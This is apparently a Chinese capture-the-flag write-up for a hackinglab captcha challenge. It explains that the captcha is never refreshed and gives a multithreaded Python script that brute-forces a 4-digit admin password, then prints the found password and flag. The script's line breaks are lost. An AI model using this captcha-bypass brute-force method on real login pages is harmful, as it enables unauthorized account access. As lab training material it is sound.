题目:
逗比的验证码,有没有难道不一样吗?
writeup:
- 点进去后是一个模拟登陆界面,用户名已经告诉,就是admin,提示登录密码4位第一位不为零。看来是要暴力破解了,可是有个验证码怎么办?
- 查看源代码
<img src="http://vc.sinaapp.com/img.php?key=k-14819660966494"><br>
可以看到验证码是从
网址加载的,只要第一次获取验证码,以后只要不在请求该网址申请验证码即可绕过,验证码就用第一次的http://vc.sinaapp.com/img.php
- 下面用python脚本来进行猜解:
import urllib import urllib.request import threading isEnd=False url='http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php' postdata={ 'username':'admin', 'pwd':'1234', 'vcode':'dsaf'} header={ 'Host': 'lab1.xseclab.com', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'utf-8', 'Referer': 'http://hackinglab.cn/ShowQues.php?type=scripts', 'Cookie': 'PHPSESSID=*****', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0'} req=urllib.request.Request(url,urllib.parse.urlencode(postdata).encode('utf-8'),header) print(urllib.request.urlopen(req).read().decode('utf-8')) vcode=input('input vcode:\n')#需要输入验证码 postdata['vcode']=vcode url='http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php' header['Referer']='http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php' def getFlag(start,end): global postdata,header,url,isEnd for num in range(start,end): if(isEnd): break postdata['pwd']=num req=urllib.request.Request(url,urllib.parse.urlencode(postdata).encode('utf-8'),header) rr=urllib.request.urlopen(req).read().decode('utf-8') if(rr.rfind('error')==-1): print('找到密码:%d\n%s'% (num,rr)) isEnd=True break #getFlag(1000,1001) #postdata['vcode']='' for num in range(1,8,2): t=threading.Thread(target=getFlag,args=(num*1000,num*1000+2000)) t.setDaemon(True) t.start() t=threading.Thread(target=getFlag,args=(9000,100000)) t.setDaemon(True) t.start()
用python3写的,语言功底不是很好写的可能不好。需要中途输入验证码一次,头部部分直接抄浏览器就行了。程序不到10秒就出结果了>>> 找到密码:1238 key is LJLJL789sdf#@sd